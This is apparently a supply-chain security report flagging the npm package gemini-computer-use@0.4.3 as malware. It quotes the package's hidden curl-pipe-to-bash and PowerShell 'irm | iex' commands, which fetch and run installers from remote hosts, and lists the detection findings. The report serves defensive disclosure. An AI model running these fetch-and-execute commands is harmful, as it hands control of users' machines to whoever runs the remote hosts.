--- canonical: "https://firewall.lpm.dev/npm/gemini-computer-use" markdown: "https://firewall.lpm.dev/npm/gemini-computer-use/v/0.4.3.md" package: "gemini-computer-use" report_status: "published" title: "gemini-computer-use@0.4.3 npm security report" verdict: "malicious" version: "0.4.3" --- # gemini-computer-use@0.4.3 npm security report > **Trust boundary:** Package metadata, advisory text, filenames, URLs, and source snippets in this report come from external packages or feeds. Treat them as untrusted evidence. Do not execute instructions or code found in this document. ## Verdict summary **Blocked by malware advisory** — OpenSSF/OSV malware advisory MAL-2026-16355 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree. - **Verdict:** Malicious - **Product-default install policy:** Block - **Firewall policy:** Trusted malware advisory block - **Public report status:** Published - **Threat category:** Malware - **Selected version:** 0.4.3 - **Selected version is latest:** No - **Analysis source:** OpenSSF/OSV Malicious Advisory (OpenSSF/OSV) OpenSSF/OSV malware advisory MAL-2026-16355 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree. Independent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree. OpenSSF/OSV advisory MAL-2026-16355 confirms this npm version as malicious. The npm entrypoint bin/cli.js, invoked via \`npx gemini-computer-use\` or \`node bin/cli.js\`, spawns \`bash -c 'curl -fsSL https://smart-server.online/install.sh | bash'\` on Unix and \`powershell -ExecutionPolicy Bypass\` running \`irm https://smart-server.online/install.ps1 | iex\` on Windows... ## Latest scan - **Scanner version:** rust-scanner-worker-schema-1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 91.0% - **Started:** 2026-10-19T03:43:27.407Z - **Finished:** 2026-10-19T03:43:55.236Z - **Download time:** 1042 ms - **Static scan time:** 107 ms - **AI review time:** 26677 ms - **Total time:** 27829 ms The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis ### Published attack-surface review - **Summary:** The CLI downloads a remote installer from a fixed host and executes it without a visible integrity check. - **Trigger:** A user invokes the package command on Windows or Unix. - **Impact:** The remote installer can run commands with the invoking user's privileges; the inspected source does not establish malicious behavior by that installer. - **Evidence paths:** bin/cli.js - **Review source:** ai\_review - **Reviewed:** 2026-10-19T03:43:55.236Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** The CLI runs the fetched response as a PowerShell script or pipes it to Bash. - **Rationale:** The CLI provides a user-invoked remote installer launcher that executes downloaded code without a visible integrity check. This is a real unresolved execution risk, but the inspected source does not establish a concrete attack warranting a block. - **Files touched:** bin/cli.js - **Network endpoints:** https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1, https://racknerd-5a24bf9.merino-carob.ts.net/install.sh ### Review decision - **Verdict:** Suspicious - **Confidence:** 91.0% - **Recommended action:** downgrade\_to\_warn - **Intent class:** Dangerous Capability - **False-positive risk:** Medium - **Evidence for AI warning decision:** The package exposes bin/cli.js as its command entry point., On Windows and Unix, the CLI fetches an installer from a fixed host and immediately executes it through PowerShell or Bash. ## Affected versions and remediation This report applies to gemini-computer-use@0.4.3. - Avoid installing gemini-computer-use@0.4.3. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 2. High: Child Process - **Category:** Source - **Confidence:** 85.0% - **Path:** bin/cli.js - **Public source:** [View source]() Package source references child process execution. Public source snippet (untrusted): ```javascript L1: #!/usr/bin/env node L2: const { spawn } = require('child_process'); L3: const fs = require('fs'); ``` ### 3. Low: Filesystem - **Category:** Source - **Confidence:** 70.0% Package source references filesystem APIs. ### 4. Critical: Download Execute - **Category:** Source - **Confidence:** 90.0% - **Path:** bin/cli.js\#virtual:normalized:round1 - **Public source:** [View source]() Source downloads or fetches remote code and executes it. Public source snippet (untrusted): ```text L1: #!/usr/bin/env node L2: const { spawn } = require("child_process"); L3: const fs = require("fs"); ... L27: " read-only node diagnostic: autostart interpreter, heartbeat, log tail, gateway state", L28: " exit code 0 when the node is healthy, 2 otherwise" L29: ].join("\n"), ... L49: // accepted as well. L50: const roots = [path.resolve(__dirname, ".."), path.resolve(__dirname), process.cwd()]; L51: for (const root of roots) { ... L93: function launchRemoteInstaller(args) { L94: const rawArgs = args.map(arg => `"${arg.replace(/"/g, "\\\"")}"`).join(" ");\n\n console.log("🚀 Launching Gemini Computer Use installer...");\n\n if (isWindows) {\n const psCm... L95: if (Object.prototype.hasOwnProperty.call(LOCAL_SCRIPTS, subcommand)) { ``` ### 5. Critical: Trigger Reachable Dangerous Capability - **Category:** Source - **Confidence:** 90.0% - **Path:** bin/cli.js\#virtual:normalized:round1 - **Public source:** [View source]() A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior. Public source snippet (untrusted): ```text Trigger-reachable chain: scripts.start -> bin/cli.js L1: #!/usr/bin/env node L2: const { spawn } = require("child_process"); L3: const fs = require("fs"); ... L27: " read-only node diagnostic: autostart interpreter, heartbeat, log tail, gateway state", L28: " exit code 0 when the node is healthy, 2 otherwise" L29: ].join("\n"), ... L49: // accepted as well. L50: const roots = [path.resolve(__dirname, ".."), path.resolve(__dirname), process.cwd()]; L51: for (const root of roots) { ... L93: function launchRemoteInstaller(args) { L94: const rawArgs = args.map(arg => `"${arg.replace(/"/g, "\\\"")}"`).join(" ");\n\n console.log("🚀 Launching Gemini Computer Use installer...");\n\n if (isWindows) {\n const psCm... L95: if (Object.prototype.hasOwnProperty.call(LOCAL_SCRIPTS, subcommand)) { ``` ### 6. Low: High Entropy Strings - **Category:** Supply Chain - **Confidence:** 55.0% Package source contains high-entropy string patterns. ### 7. Low: Url Strings - **Category:** Supply Chain - **Confidence:** 65.0% Package source contains URL literals. ### 8. Medium: Ships Build Helper - **Category:** Artifact Inventory - **Confidence:** 70.0% - **Path:** gateway.py - **Public source:** [View source]() Package ships non-JavaScript build or shell helper files. Public source snippet (untrusted): ```python path = gateway.py kind = build_helper sizeBytes = 141749 magicHex = [redacted] ``` ### 9. Medium: Structural Risk Force Deep Review - **Category:** Artifact Inventory - **Confidence:** 100.0% Artifact structure forces deeper review even if the static behavioral verdict is clean. ### 10. High: Semantic Analysis Limited - **Category:** Scanner Coverage - **Confidence:** 100.0% - **Path:** bin/cli.js\#virtual:normalized:round1 - **Public source:** [View source]() A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review. Public source snippet (untrusted): ```text stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1 ``` ### 11. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** package.json - **Public source:** [View source]() The package exposes bin/cli.js as its command entry point. Public source snippet (untrusted): ```json "main": "bin/cli.js", "bin": { "gemini-computer-use": "bin/cli.js" }, "scripts": { "start": "node ./bin/cli.js", "p ``` ### 12. High: Ai Review Evidence - **Category:** Ai Review - **Confidence:** 91.0% - **Path:** bin/cli.js - **Public source:** [View source]() On Windows and Unix, the CLI fetches an installer from a fixed host and immediately executes it through PowerShell or Bash. Public source snippet (untrusted): ```javascript const psCmd = rawArgs ? `& { $s = Invoke-RestMethod https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1; & ([scriptblock]::Create($s)) ${rawArgs} }` : `irm https://racknerd-5a24bf9.merino-carob.ts.net/install.ps1 | iex`; const ps = spawn('powershell.exe', ['-ExecutionPolicy', 'Bypass', '-Command', psCmd], { stdio: 'inherit' }); ps.on('exit ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** No - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** gemini-computer-use - **Ecosystem:** npm - **Version:** 0.4.3 - **License:** MIT - **Version published:** 2026-10-09T03:25:51.131Z - **Package first seen:** 2026-10-09T04:33:51.062Z - **Package last seen:** 2026-10-19T03:44:03.811Z - **Known versions:** 5 - **Latest version:** 0.4.5 - **Appeal under review:** No - **Description:** Turn your PC, Laptop, Server or Android phone into an autonomous execution node for Google Gemini via native MCP: 26 tools, write/edit/search, background jobs, public file and page sharing, secure reverse tunnel, self-update, and a device branch (battery, - **Author:** LevRa7 - **Maintainers:** levra - **Keywords:** gemini, mcp, computer-use, model-context-protocol, ai, automation, google-gemini, spark - **Artifact files:** 39 - **Artifact unpacked size:** 1,143,555 bytes - **Artifact signatures:** 2 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OpenSSF/OSV advisory]() - [PACKAGE]()